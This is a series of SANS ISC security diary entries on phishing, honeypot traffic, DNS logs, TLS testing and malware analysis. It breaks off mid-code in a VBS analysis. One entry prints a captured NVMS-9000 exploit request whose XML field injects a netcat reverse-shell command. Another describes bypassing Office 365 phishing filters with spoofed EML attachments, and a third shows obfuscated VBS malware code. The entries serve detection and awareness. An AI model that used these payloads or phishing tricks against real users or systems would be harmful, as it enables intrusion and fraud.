Published: 2019-10-31

EML attachments in O365 - a recipe for phishing

I’ve recently come across interesting behavior of Office 365 when EML files are attached to e-mail messages, which can be useful for any red teamers out there but which can potentially also make certain types of phishing attacks more successful.

Office 365, just like any other e-mail gateway with security features, uses a number of complex anti-phishing mechanisms and filters to catch malicious messages. This means that if we try to send an e-mail to a “Target User” which looks like a message from Paypal, but the embedded link points to a phishing site, O365 will correctly identify it as phishing/spam and catch it. The following example, where the link points to playplall.com, instead of paypal.com, illustrates this behavior nicely.

Before we move forward, let’s take a quick look at EML files. These are used to save e-mail messages by many e-mail clients (AKA Mail User Agents) and even Outlook and most other e-mail clients, which do not use EML as the default format for saving messages, at least have the ability to open and display them. EML files have a very simple internal structure – EML is basically just a MIME standard e-mail saved in a text file – and therefore an arbitrary one may be crafted quite easily as the following example shows.

MIME-Version: 1.0
Content-Type: text/html; charset=UTF-8
Date: Thu, 31 Oct 2019 10:29:47 +0100
From: Dracula <dracula@transylvania.ro>
To: Jan Kopriva <jan.kopriva@domain.tld>
Subject: Halloween

Hi Jan,
Just wanted to let you know I'll see you tonight... ;)


This is the reason why e-mail gateways are sometimes configured to either mark messages containing EML attachments as potentially dangerous, scan such attachments or block them outright. Office 365 seems to do an anti-malware scan of EML attachments, but it doesn’t run them through anti-phishing filters… And you can probably see where this is heading.

If we were to craft an EML with the same contents as the first e-mail we looked at (which O365 caught as phishing) and sent it as an attachment, it would get through. If we put a text along the lines of “We’ve noticed you didn’t respond to our original message, so we’re sending it to you again” in the body of the main e-mail, there is quite a good chance that the intended recipient would at least open the attached EML.

But it gets better than that – nothing is stopping us from changing the sender in the EML to a legitimate Paypal (or other) address. The same EML may, of course, bypass other e-mail security gateway scans as well, depending on how they are configured. But with O365, here is (at least to my mind) the best part – if we send such an e-mail, as soon as our Target User opens the attachment in O365, Outlook will helpfully even put a Paypal logo next to the sender address. Thanks to this, the message really starts to look trustworthy.

I’ve informed Microsoft of this behavior of O365 and since they usually don’t consider similar behavior a vulnerability, the reply I got from them was exactly the one I expected (i.e. “Unfortunately your report appears to rely on social engineering to accomplish, which would not meet the bar for security servicing”).

Although I don’t assume that attackers will start using this technique en masse, I would still recommend considering automatically marking e-mail messages with EML attachments as potentially dangerous and adding a short warning about the potential risks of EML attachments into end-user security/phishing awareness courses.

If you find this technique interesting and would like to take a closer look at couple of others, consider joining us for a talk dedicated to this subject at SANSFIRE 2020 – we will go through many more tricks and techniques, some of which are not (yet) used in the wild.

Jan Kopriva
Alef Nula


Published: 2019-10-30

Keep an Eye on Remote Access to Mailboxes

BEC or "Business Email Compromize" is a trending thread for a while. The idea is simple: a corporate mailbox (usually from a C-level member) is compromized to send legitimate emails to other employees or partners. That's the very first step of a fraud that could have huge impacts.

This morning, while drinking some coffee and reviewing my logs, I detected a peak of rejected authentications against my mail server. There was a peak of attempts but also, amongst the classic usernames, bots tested some interesting alternatives. If the username is "firstname", I saw attempts to log in with:


And also the classic generic mailboxes ('noreply', 'info', webmaster', 'admin', etc)

The peak of activity was interesting:

Email remains an easy attack vector and is often very easy to compromise. Access to a corporate mailbox can be disastrous based on what people store in their mailbox (documents, passwords, pictures, etc) and mail servers remain often available in the wild. Keep an eye on remote accesses to mailboxes, especially for sensitive accounts! (Do you remember my diary about considering people as IOC's?[1])

[1] https://isc.sans.edu/forums/diary/May+People+Be+Considered+as+IOC/25166/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2019-10-29

Generating PCAP Files from YAML

The PCAP[1] file format is everywhere. Many applications generate PCAP files based on information collected on the network. Then, they can be used as evidence, as another data source for investigations and much more. There exist plenty of tools[2] to work with PCAP files. Common operations are to anonymize captured traffic and replay it against another tool for testing purposes (demos, lab, PoC).

When you anonymize PCAP files, the goal is to replace IP addresses by other ones (The classic operation is to replace the first byte with a ’10’ value to make the IP address non-routable). However, the payload may contain sensitive data that are more difficult to sanitize. Last week, I attended the hack.lu[3] conference in Luxembourg and, during the lightning talks session, an interesting tool was demonstrated: pCraft. It can be described as a “PCAP file generator from a scenario described in YAML[4]”. The idea behind this tool is to create a scenario of network actions that will be translated into a fully-working PCAP file. 

Here is a quick example to demonstrate how to test an IDS rule:

start: GenerateNewDomain

  _plugin: GenerateNewDomain
  _next: DNSConnection

  _plugin: DNSConnection
  sleep: {"once-finished": 1}
  _next: HTTPConnection

  _plugin: HTTPConnection
  method: GET
  uri: "/shell?busybox"
  user-agent: "Mozilla/5.0"
  _next: done

The script is easy to understand: We generate a random domain name, we resolve it then we generate an HTTP request to the servers with a suspicious URI.

Let's generate the PCAP file:

# ./pcraft.py test.yaml test.pcap
['PCraft/plugins/HTTPConnection.py', 'PCraft/plugins/DNSConnection.py', 'PCraft/plugins/TcpRst.py', 'PCraft/plugins/HTTPPostConnection.py', 'PCraft/plugins/PcapImport.py', 'PCraft/plugins/Ping.py', 'PCraft/plugins/GenerateNewDomain.py', 'PCraft/plugins/Cheat.py', 'PCraft/plugins/SMTPReceive.py']
All plugins loaded!
Opening Script File test.yaml
[2019-10-28 18:01:35.324952] Executing: Generate_a_new_domain
[2019-10-28 18:01:35.367461] Executing: DNSConnection
[2019-10-28 18:01:35.368882] Executing: HTTPConnection
[2019-10-28 18:01:36.984010] Executing: done

The PCAP file can now be used to test our IDS or any other application.

Let's open it in a Wireshark and inspect the HTTP request:

pCraft is written in Python and, if you check the required modules, you see it relies on scapy[5] to generate packets and the PCAP file. Not many types of traffic are supported at the moment but, being based in plugins, it's easy to expand it. The current list of plugins is:

  • DNSConnection
  • GenerateNewDomain
  • HTTPConnection
  • HTTPPostConnection
  • PCAPImport
  • Ping
  • TcpRst

pCraft has been developed by Sébastien Tricaud and is available on github[6]. Great tool!

[1] https://wiki.wireshark.org/Development/LibpcapFileFormat
[2] https://n0where.net/best-pcap-tools
[3] https://2019.hack.lu/
[4] https://en.wikipedia.org/wiki/YAML
[5] https://scapy.net/
[6] https://github.com/DevoInc/pCraft

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant


Published: 2019-10-27

Using scdbg to Find Shellcode

I've written a couple of diary entries about scdbg, a Windows 32-bit shellcode emulator.

If you're not familiar reading assembly code or machine language, scdbg can help you understand what shellcode is doing, by emulating it and reporting relevant Win32 API calls.

By default, scdbg assumes that the shellcode's entrypoint is the first instruction, e.g. position 0. That's not always the case, and you can use option -foff to provide a different position (offset). But this assumes that you know where the shellcode's entrypoint is. And determining this can be difficult too when you analyze malware.

To help you locate shellcode's entrypoint, or just find shellcode inside a file, scdbg has an option: -findsc.

As an example, I created a JPEG file that contains shellcode (not an exploit, the shellcode will not execute, it's just hidden inside a JPEG image).

Giving this file as input to scdbg using option -findsc does the following:

scdbg tries all possible entrypoints to the shellcode in this file, and then reports entrypoints (offsets) that lead to emulations that resulted in a Win32 API call or a long execution (many steps).

In the screenshot above, we see that scdbg found 6 offsets (numbered 0 through 5). Entry 0 looks promising (offset 0x7C2), as this lead to the call of MessageBoxA.

scdbg then prompts for the index of the shellcode's offset to emulate. I select 0 and get the following result:

This is indeed shellcode that was found at position 0x7C2: it displays a message box and then terminates the host process.


Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2019-10-27

Unusual Activity with Double Base64 Encoding

This week I found this traffic in my honeypot, my first impression, it didn't look that unusual since Base64 encoding is used quite a bit to encode traffic to a web server. Using CyberChef, I decoded the Base64 portion to see what it was all about only to find out it was further encoded in Base64. Decoding the second Base64 revealed two IP address in it.

However, the interesting part after decoding it was the IPs were already in the traffic payload. The first IP was the source of the traffic (

TmpBdU1Ua3hMalV5TGpJMU5Dd3hNVEl1TVRjdU1USTFMakU0TUE9PQ== → NjAuMTkxLjUyLjI1NCwxMTIuMTcuMTI1LjE4MA== →, → ISC reports shows scanning for 1723 and 3128 → No ISC reports → No ISC reports. Hangzhou Alibaba Advertising Co.,Ltd., CN

Another search of my logs revealed this kind of activity had been happening for quite a while and it is always the exact same query down to the IPs and ports. I have logs for this activity since February this year on port 80 and 8088. and the same high port (63435) used in all the traffic. A search in for BS_REAL_IP shows other honeypots[2].

Here is a copy of the raw log:

tcp-honeypot-20191019-075047.log:20191025-222956: data 'HEAD HTTP/1.1\r\nAccept-Encoding: gzip\r\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36\r\nBS_REAL_IP: TmpBdU1Ua3hMalV5TGpJMU5Dd3hNVEl1TVRjdU1USTFMakU0TUE9PQ==\r\nHost:\r\nAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2\r\nProxy-Connection: keep-alive\r\n\r\n'

Generic Code beautify by CyberChef:

Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh
 Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36
Accept: text/html, image/gif, image/jpeg,
Proxy-Connection: keep-alive

[1] https://isc.sans.edu/ipdetails.html?ip=
[2] https://www.abuseipdb.com/check/

Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu


Published: 2019-10-27

Wireshark 3.0.6 Released

Wireshark version 3.0.6 was released.

It has some updates for macOS (like installation by dropping the app in the Applications folder) and bug fixes.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com


Published: 2019-10-25

VMware Patch Alert!

Update Alert!  Patches are out for VMware VCSA (information disclosure in backups and restore) https://www.vmware.com/security/advisories/VMSA-2019-0018.html

Also a DOS issue in ESXi, Workstation and Fusion: https://www.vmware.com/security/advisories/VMSA-2019-0019.html


Published: 2019-10-25

More on DNS Archeology (with PowerShell)

I while back I posted a "part 1" story on DNS and DHCP recon ( https://isc.sans.edu/diary/DNS+and+DHCP+Recon+using+Powershell/20995 ) and recent events have given me some more to share on the topic.

There's been a lot of interest in collecting DNS information from client stations lately (specifically with sysmon), but I'm still seeing lots of value in using the DNS logs we've already got centrally positioned in many organisations.   Let's consider a typical windows based company, with DNS implemented on the Domain Controllers.

Let's check the DNS diagnostic / audit setup using PowerShell (this server is close to the defaults):

> Get-DnsServerDiagnostics

SaveLogsToPersistentStorage          : False
Queries                              : False
Answers                              : False
Notifications                        : False
Update                               : False
QuestionTransactions                 : False

UnmatchedResponse                    : False
SendPackets                          : False
ReceivePackets                       : False
TcpPackets                           : False
UdpPackets                           : False
FullPackets                          : False
FilterIPAddressList                  :
EventLogLevel                        : 4
UseSystemEventLog                    : False
EnableLoggingToFile                  : True
EnableLogFileRollover                : False
LogFilePath                          : MaxMBFileSize                        : 500000000
WriteThrough                         : False
EnableLoggingForLocalLookupEvent     : False
EnableLoggingForPluginDllEvent       : False
EnableLoggingForRecursiveLookupEvent : False
EnableLoggingForRemoteServerEvent    : False
EnableLoggingForServerStartStopEvent : False
EnableLoggingForTombstoneEvent       : False
EnableLoggingForZoneDataWriteEvent   : False
EnableLoggingForZoneLoadingEvent     : False

So by default we're not logging DNS requests or responses. To fix this, navigate to DNS / Server Properties, and you'll find most of these settings are available in the GUI.  Note that you can monitor requests and responses separately - this can be valuable depending on what you are looking for, and that DNS in a moderately sized company can generate GB's of logs per day (roughly half of the firewall log size in many "typical" organizations)

Once you have some logs, they're in %systemroot%\system32\dns\dns.log.  To ingest this log in PowerShell (just pulling the dns packet logs):

$alldnsqueries = get-content c:\windows\system\dns\dns.log  | where { $_ -match "PACKET" }

This gets you a list of text strings.  Let's convert this fixed-length (more or less) text fields to CSV, then to a variable list (AKA usable objects)

$alldnsqueries = get-content C:\Windows\System32\dns\dns.log | where { $_ -match "PACKET" }


# we'll use a semicolon as a delimeter
$newDelimiter = ";"

# set the field delimeter locations (you may need to adjust these)
$cols = 10,20,54,56,60,66,78,115

$newarray =@()
#define the header row

$newarray += ";date;time;unused1;unused2;proto;direction;clientip;unused3;hostquery;"

$a = 0
$dnscount = $alldnsqueries.count

$alldnsqueries | ForEach-Object {
  $line = $_
  $cols | ForEach-Object {
    $line = $line.Insert($_, $newDelimiter) 

# put the delimeters at the beginning and end of line
  $line = ";" + $line + ";"

  $newarray += $line
  # counter on the 1,000's, just to keep track of progress
  # and to be sure we're not stuck
  if ($a % 1000 -eq 0) { $a of $dnscount }

$queries = $newarray |  ConvertFrom-Csv -Delimiter $newDelimiter | select date,time,proto,direction,clientip,hostquery

Now we have it in a usable format!  This likely took a while - PowerShell will only use a single core (unless you set up jobs etc), and it's not the speediest of text processing tools.  A 500,000 line log file took me a solid 2 hrs to process.

Just for a quick check, let's see if we have any hosts making queries for WPAD (ouch!).  In most shops you'd hope that this would be zero, or at least a low number.
First collect all the queries received to "anything wpad"

$wpadqueries = $queries | where { $_.hostquery -match "wpad" } | where {$_.direction -match "Rcv"}

PS L:\work\dns> $wpadqueries.count

Let's narrow it down to "offending workstations" and get a count:

$wpadstations = $wpadqueries.clientip | group


OK, trouble in paradise, that's pretty much the entire station count here!  This environment needs a GPO to say "no proxy here", or else a GPO that explicitly sets the proxy.

Now do a group by A record and requesting station / uniq.  In this situation there are 3 different particpants in a merger (two merged companies and one parent):

Looking at the dns queries themselves, which ones are the "oddballs"?  In most organizations, a one off DNS request is often an indicator of malware activity, or at least an indicator of something that should be investigated.  Picking the first "n" in the list, who is querying for those hosts?.

Let's sort by count, and pick the first 15.  Note that all the single-query counts are "2", because both the send and receive packets are logged.

$uniqqueries = $queries | Group-Object hostquery | Select-Object count,name | sort count 
$uniqqueries | select -f 15

Count Name                                                                             
----- ----                                                                              
    2 (12)wrtwrokhhfgz(7)company(3)com(0)              
    2 EY   (9)1604-ms-7(10)110-896fa7(36)c6350d9f-f5a5-11e9-9598-8cec4b8e1e08(0)     
    2 (11)zbbanxrlced(7)company(3)com(0)                                      
    2 (8)vnwxcxpp(7)company(3)com(0)                                          
    2 (13)icyygacsfacmr(7)company(3)com(0)                                    
    2 (12)tyjkfiuewyus(7)company(3)com(0)                                     
    2 (7)s-jsonp(7)moatads(3)com(0)
    2 (5)e2725(4)dscg(10)akamaiedge(3)net(0)
    2 (6)sbrinc(3)com(0)
    2 (8)fnxugntu(7)company(3)com(0)  
    2 (3)www(4)hape(3)com(0) 
    2 (5)click(4)virt(11)exacttarget(3)com(0)                                       

    2 (14)d1yodfj154g0xj(10)cloudfront(3)net(0)                                      
    2 (5)phone(6)sports(4)tile(5)appex(4)bing(3)com(7)edgekey(3)net(0)               
    2 (6)p33232(12)cedexis-test(3)com(0) 
    2 (15)etsfidhzmqxjvva(7)company(3)com(0)

hmm  - nothing suspicious about those domain names :-(  ... often we'll see ad hosts and malware sites in this list (not that they don't coincide more than we'd like).  Those random-string hostnames with the internal organization's domain name (elided to "company.com") are very disturbing.  None of those domains exist - it looks very much like someone is resolving for random CN's and the host is appending the internal domain.  Either that or it looks like some of the  "fast flux" malware from years gone by.
Digging deeper into this, for example with:

$queries | where { $_.hostquery -match "fnxugntu" }

date      : 10/23/2019
time      : 1:29:23
proto     : UDP
direction : Rcv
clientip  : 10.xxx.xx.11
hostquery : (8)fnxugntu(7)company(3)com(0)

yup - you guessed it, all of those "odd" DNS requests came from the same host!  This one host was making thousands of requests per hour to invalid hostnames, accounting for roughly 10% of the DNS traffic in the organization.  The IR / workstation team is looking at this host next, but if you've seen this pattern please do help fill in the blanks - tell us what you can in our comment form.  So far it does NOT look like another DNS server that might be forwarding requests from infected workstations - it's looking like a server or workstation of some type.

This is a great way to start investigating your DNS activity for free in a Windows environment.  If you find this useful, you might consider scripting and scheduling some of this in your organization.  Or rather than parsing this manually, consider feeding your DNS logs to a SIEM - something you can also do for free (look at SANS 455 and SANS SEC 555 for more info on that)

If you've used methods like these and have found something interesting, or if you've seen the "odd" pattern of requests described in this story, please do share using our comment form (as far as your NDA will let you that is).

========== update ==========

It turns out that the "odd" dns requests were all from a "cloud managed" ethernet switch.  Since this is the only switch of hundreds doing this, we're figuring that it's infected with something.  Since these are all intel / linux machines with a switch bolted to it under the covers, that's not a huge stretch.  So the request still stands - if you've seen requests like this in your environment, please do use our comment form to carry this conversation forward!


Rob VandenBrink
rob <at> coherentsecurity.com


Published: 2019-10-24

Your Supply Chain Doesn't End At Receiving: How Do You Decommission Network Equipment?

Trying to experiment with cutting edge security tools, without breaking the bank, often leads me to used equipment on eBay. High-end enterprise equipment is usually available at a bargain-basement price. For experiments or use in a home/lab network, I am willing to take the risk to receive the occasional "dud," and I usually can do without the support and other perks that come with equipment purchased full price.

Lately, I have been looking at some of Gigamon's "Gigavue" appliances, which have become available at very affordable prices. After I received the device, I did a quick inventory of its hardware components and configuration. Pretty much immediately, it became apparent that the device was not properly wiped. Sadly, this is a very common occurrence. The configuration of the device led me to the prior owner of the device, which turned out to be a company close to where I live. After contacting them, I returned the device to them to allow them to investigate the failure in their decommissioning procedure. I didn't do much analysis myself of this particular device before returning it. Still, it was kind of interesting how it arrived a few miles from its original home via a surplus equipment seller in a very different part of the country.

But... this left me one Gigamon short. So I did purchase a second one from a different eBay seller. Again, this device arrived "untouched" (but luckily with the default password, which was in particular nice since I couldn't get the serial console to work). Again, this device had an intact configuration, which included pretty much a detailed network map. But this time, I wasn't able to quickly identify the original owner, so I decided to take a quick look at what can be learned from these devices.

As one would expect, these devices are "servers." What differentiates them from regular servers is that the only significant persistent storage is a 2GByte SDCard. I was a bit surprised by this given the "iffy" reputation of SDCards. I have had plenty of them fail over the years and would have expected a bit "more" in a device in this price class. But I guess it does the job. The SDCard is easily removed and imaged.

So far, I haven't gotten around to a full analysis of the image, but the image includes the firmware and at least some of the configuration of the device. Of course, the configuration is also easily explored via the web-based GUI of the command line interface.

I covered one company name in the image above that may indicate the original owner (but it could also be a link to that company's service. Not clear based on the label used). 

In addition to the configuration, I was also able to recover a partial syslog from the device, listing the private IP of the system from which the administrator connected to the system.

Interestingly, the administrator account used (not the default "root" account) was still configured, but the root password was set to the default password. I find it unlikely that just the root password was reset, and the remaining configuration was untouched. Gigamon does provide two commands to possibly wipe the configuration:

  • sd_format: This command *should* format the SD card. But it is not clear if it will overwrite/wipe any content.
  • reset system factory-default: According to the manual, this will reset the device to factory default.
  • Via the serial console, the device can be reset using the "fconfig rstrtac true" command at the boot prompt. This process does not require a password and is used to reset the "root" password. It may not reset the configuration (I will have to try this out once I got the serial console working).

I did not find any customer data / PII on the systems. The risk is probably best classified as "information leakage." An attacker could certainly obtain valuable intelligence from the configuration, maybe even deduct usernames and passwords for other devices.

Lesson learned: A lot of people are talking about "Supply chain security" these days. Your supply chain doesn't end once you receive a piece of equipment. The decommissioning process and any vendors used as part of it should be considered part of the supply chain.

I will follow up on this diary once I have more time to explore some of the settings and options. Let me know if you have attempted this before and have any insight, or if you have similar stories to share.

Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute


Published: 2019-10-22

Testing TLSv1.3 and supported ciphers

Few months ago I posted a series (well, actually 2) diaries about testing SSL/TLS configuration – if you missed them, the diaries are available here and here.
Recently I needed to test several brand new servers which were running TLSv1.3 (among the other protocols). As I use nmap as my main SSL/TLS configuration verification tool, I quickly found out that the scripts I described in previous diaries do not yet support TLSv1.3. This made me look for other options.

Since the TLSv1.3 standard has been published as a RFC, and is available at https://tools.ietf.org/html/rfc8446 we can expect that this protocol will be used more and more. However, things are not that simple: since the TLS Working Group published various draft versions, there have been different implementations published as well. In other words, these implementations, which are based on different draft versions do not work with each other!
While the nmap scripts do not work yet, there are several other options, let’s take a look at them.

1) OpenSSL

OpenSSL version 1.1.1 includes support for TLSv1.3 – the easiest way is to check s_client options of your openssl binary, if the -tls1_3 option is there, you are good to go and can test if it works ok with Cloudflare, as shown below:

$ openssl s_client -tls1_3 -connect www.cloudflare.com:443
depth=1 C = US, O = DigiCert Inc, OU = www.digicert.com, CN = DigiCert ECC Extended Validation Server CA

New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 256 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 20 (unable to get local issuer certificate)

Looking good, however we still need to somehow check which ciphers are supported. Luckily for us, the TLSv1.3 RFC supports only 5 cipher suites that you can see below:

| Description                  | Value       |
| TLS_AES_128_GCM_SHA256       | {0x13,0x01} |
| TLS_AES_256_GCM_SHA384       | {0x13,0x02} |
| TLS_CHACHA20_POLY1305_SHA256 | {0x13,0x03} |
| TLS_AES_128_CCM_SHA256       | {0x13,0x04} |
| TLS_AES_128_CCM_8_SHA256     | {0x13,0x05} |

As you can see above, these are all strong ciphers, but our job should be still to check which ones are supported. We can do that with a little bit of scripting and by using the openssl binary, this time with the -ciphersuites option that allows us to define that cipher suite(s) which will be used for connection. Those of you using openssl already probably noticed that this option is different from the commonly used one, -cipher. The -ciphersuites option must be used with TLSv1.3, while -cipher can be used with any other SSL/TLS protocol.

Here is our script:

$ for cipher in TLS_AES_128_GCM_SHA256 TLS_AES_256_GCM_SHA384 TLS_CHACHA20_POLY1305_SHA256 TLS_AES_128_CCM_SHA256 TLS_AES_128_CCM_8_SHA256 ; do openssl s_client -tls1_3 -ciphersuites $cipher -connect www.cloudflare.com:443 < /dev/null > /dev/null 2>&1 && echo "$cipher" ; done

This script will loop through all 5 supported TLSv1.3 ciphersuites and will try to connect to the target server (I’m using Cloudflare for testing here). If the connection was successfully established, the first command (openssl) will result in true and the echo will print the cipher that worked. These are results from Cloudflare:


2)    Testssl.sh

Our other option is to use the amazing testssl.sh script that I already wrote about before as well. You will need the very latest version of testssl.sh for TLSv1.3 support, so the best way to get it is to clone the repository from git:

$ git clone --depth 1 https://github.com/drwetter/testssl.sh.git

Once you’ve done that, you can test supported ciphers per protocol with the -E option, as shown in the figure below:

Time to go test support for TLSv1.3!



Published: 2019-10-21

What's up with TCP 853 (DNS over TLS)?

I was looking at some of our data lat last week and noticed an increase probes on tcp %%port:853%%. For those of you who aren't aware, tcp port 853 is assigned to DNS over TLS as defined in RFC 7858. DNS over TLS (or DoT) was defined in 2016 as a way of hiding the contents of DNS requests from prying eyes on the network since DNS normally occurs in the clear over %%port:53%%. Of course, over the last few months all of the discussion has actually been about an alternative to DoT, DNS over HTTPS (or DoH) defined in RFC 8484, since the major web browser vendors (Google and Mozilla) have announced that they are or will be supporting DoH within the browser in the near future. For the moment, I'll stay out of the debate about the merits of DoT vs. DoH. But, back to this story, since I noticed the increase on port 853, let's discuss DoT. Because DoT requires setting up a TLS connection, it was defined as a TCP protocol (where DNS was primarily UDP). There was a subsequent RFC 8094 which defined DNS over DTLS which moved this back to UDP, but obviously required more traffic to set up the initual TLS encryption, though once established could then potentially be pretty efficient. I had actually setup DoT on my home (bind9) DNS server just a few weeks ago using stunnel as described in the docs from isc.org, to do some testing, so seeing this increase got my attention (though I hadn't actually opened 853 to the internet, just to my internal network). I haven't setup a netcat listener or honeypot to capture the traffic, but you can see that while there were a couple of brief spikes in the number of targets late last year and then a ramping up starting around the beginning of September, the big jump including new scanners has just ramped up since the beginning of Oct. This first graph is 365 days.

And here I've zoomed into about the last 90 days.

Since this is all TCP traffic (though I'm not showing the TCP ration on that graph, but I did look at the data), I doubt that this is actually a search for DDoS reflectors, but I don't really know what it is that they are looking for here. I hope to get a honeypot up in the next couple of days to see if I can figure it out, but in the meantime if any of our readers have any insights into what is going on here, please let us know in the comments or via our contact page.

Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu


Published: 2019-10-20

Scanning Activity for NVMS-9000 Digital Video Recorder

Since the beginning of October, my honeypot has been capturing numerous scans for DVR model NVMS-9000 which a PoC was released last year describing a "Stack Overflow in Base64 Authorization"[1].

DVR Activity NVMS-9000

The traffic captured by my honeypot matches the PoC with the same Base 64 username and password (admin:{12213BD1-69C7-4862-843D-260500D1DA40}) attempting to fork a reverse shell to redirect the traffic to a remote listener on port TCP 31337. The vendor advisory is posted here where they indicated a firmware update is available. If you have a NVMS-9000 DVR exposed to the web, you should check for any unusual activity and block inbound access from the web.

Here is an example of traffic you could expect to see in your logs:

20191020-025738: data 'POST /editBlackAndWhiteList HTTP/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 586\r\nAccept-Language: en-us\r\nHost: XX.71.48.119\r\nAccept: */*\r\nUser-Agent: ApiTool\r\nConnection: close\r\nCache-Control: max-age=0\r\nContent-Type: text/xml\r\nAuthorization: Basic YWRtaW46ezEyMjEzQkQxLTY5QzctNDg2Mi04NDNELTI2MDUwMEQxREE0MH0=\r\n\r\n<?xml version="1.0" encoding="utf-8"?><request version="1.0" systemType="NVMS-9000" clientType="WEB"><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type="filterTypeMode">refuse</filterType><filterList type="list"><itemType><addressType type="addressType"/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}${IFS}31337${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>'

If the revershell was successull, this is the 2 IPs to watch for: and which I have seen the most in my logs in the past several weeks.

[1] https://raw.githubusercontent.com/mcw0/PoC/master/TVT_and_OEM_IPC_NVR_DVR_RCE_Backdoor_and_Information_Disclosure.txt
[2] http://en.tvt.net.cn/news/227.html
[3] https://manualzz.com/doc/9541049/cms-nvms-9000-presentation

Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu


Published: 2019-10-19

What Assumptions Are You Making?

If my security agents were not working correctly, then I would get an alert. Since no one said there is a problem with my security agents, then everything must be ok with them. These are just a couple of the assumptions that we make as cybersecurity practitioners each day about the security agents that serve to protect our respective organizations. While it is preferable to think that everything is ok, it is much better to validate that assumption regularly. 

I have been fortunate to work in cybersecurity for many years and at several diverse types of organizations. During that time, I always found it helpful to check on the status of the security agents periodically. I have found that by scheduling regular and recurring calendar reminders, I can better validate the assumption that the security agents are working as intended. Specific areas of focus include both confirming the security agent is installed correctly and that it is performing the actions specified in the policy. 

Central monitoring consoles are a great place to start for security agents that have not communicated back to the console within an acceptable time. The output from the console can be compared to the Inventory and Control of Hardware Assets to ensure that every system has a security agent installed. Whether an automated or manual task, this practical step can help to validate that assumption. 

What assumptions can you validate today? Think about that over the weekend and determine to take action on Monday morning! By being intentional to validate the health of your security agents, you can do a great deal to validate the assumptions you are making.

How to a how long can you stand not to know when your security agents are not working as expected? Let us know of your successes in the comments section below!


Russell Eubanks

ISC Handler


10 Visibility Gaps Every CISO Must Fill


Published: 2019-10-18

Quick Malicious VBS Analysis

Let’s have a look at a VBS sample found yesterday. It started as usual with a phishing email that contained a link to a malicious ZIP archive. This technique is more and more common to deliver the first stage via a URL because it reduces the risk to have the first file blocked by classic security controls. The link was:


The downloaded file is saved as JVC_53668.zip (SHA256: 9bf040f912fce08fd5b05dcff9ee31d05ade531eb932c767a5a532cc2643ea61) has a VT score of 1/56[1].

The archive contains a VBS script called JVC_53668.vbs (SHA256:f894030285d5a577bf970692c2e7096137460802348ee71b5198497c2d603ce1) and unknown on VT at the redaction time of this diary. What looks strange in the size of the file: 3.8MB! The file is indeed heavily poluted with many very long comment lines. Once cleaned up, the size is reduced to 159KB. Having a big file is also interesting for an attacker because some security controls do not scan or process files above a certain size for performance reasons.

The code is also obfuscated via many mathematical expressions:

ddvA = Mid(otQh, 451 - 386 + 2 - 303 + 24 - 12 + 19 - 14 + 21 + 433 - 230, 281 + 212 - 325 + 4 + 444 - 10 - 153 - 19 - 482 - 158 - 466 + 11 + 12 - 433 + 1084)
jqCe = 471 - 23 + 245 - 274 - 285 - 2 + 391 + 21 + 25 - 16 - 15 + 4 - 434 + 13 + 578
isW = CInt(ddvA)
tztf = 162 + 19 - 277 - 3 + 22 - 16 + 235 - 7 + 5 - 2 - 7 + 438 + 11 - 24 - 445 + 527
uox = FQE and tztf
wMs = Asc(Mid(InP, isW, 216 - 437 - 21 + 427 + 20 - 226 - 122 - 21 - 315 - 15 - 119 + 333 + 281))
CBTl = 411 - 142 - 131 + 8 - 12 - 11 + 13 + 25 + 13 - 397 - 7 + 9 + 960
KWZM = Sqr(amYG)
ddvA = Mid(otQh, 327 + 165 + 11 - 376 - 486 + 14 + 152 + 438 - 475 - 466 - 22 + 494 - 2 - 112 - 24 - 310 + 678, 194 + 119 - 151 - 351 + 14 + 14 + 328 + 9 + 466 + 6 - 286 + 150 - 510)
Pts = 317 + 11 + 23 + 13 - 359 + 159 + 23 - 4 - 311 - 9 + 659

But, it’s not difficult to spot the most interesting part of the code. There is the following line is present close to the file end:


ExecuteGlobal[2] is used in VBS like IEX in PowerShell. The code passed as an argument will be executed in the context of the script. Let’s have a look at the 'kpYE' variable:

kpYE = UkX(zANa, PChk)

UkX() is the only function present in the script. Here is a beautified version:

function UkX(VSqz, kdH)
    On Error Resume Next
    MRgD = VSqz
    Pts = Xear * cTln
    qaux = LoKu - jqCe
    XqIc = DJlE * LoKu
    whhI = ""
    Xear = AYwV and qaux
    jqCe = Sgn(Pts)
    OaT = ""
    vDI = 480 + 319 + 4 + 19 - 285 + 327 - 25 + 109 + 453 + 11 - 22 + 2 - 306 - 478
    FBD = 279 + 260 + 202 + 270 + 399 - 348 - 173 + 20 + 14 - 922
    JNHe = 377 + 9 + 309 + 351 - 152 - 12 - 9 - 289 + 111
    Xear = 159 + 6 - 14 + 18 - 249 + 392 - 191 - 25 - 20 + 454 - 7 + 468 + 333 + 335 - 21 - 926
    for i=215 + 193 - 4 - 394 + 111 + 3 + 364 - 24 + 15 - 25 + 272 - 12 + 19 - 129 - 328 - 275 to len(MRgD)
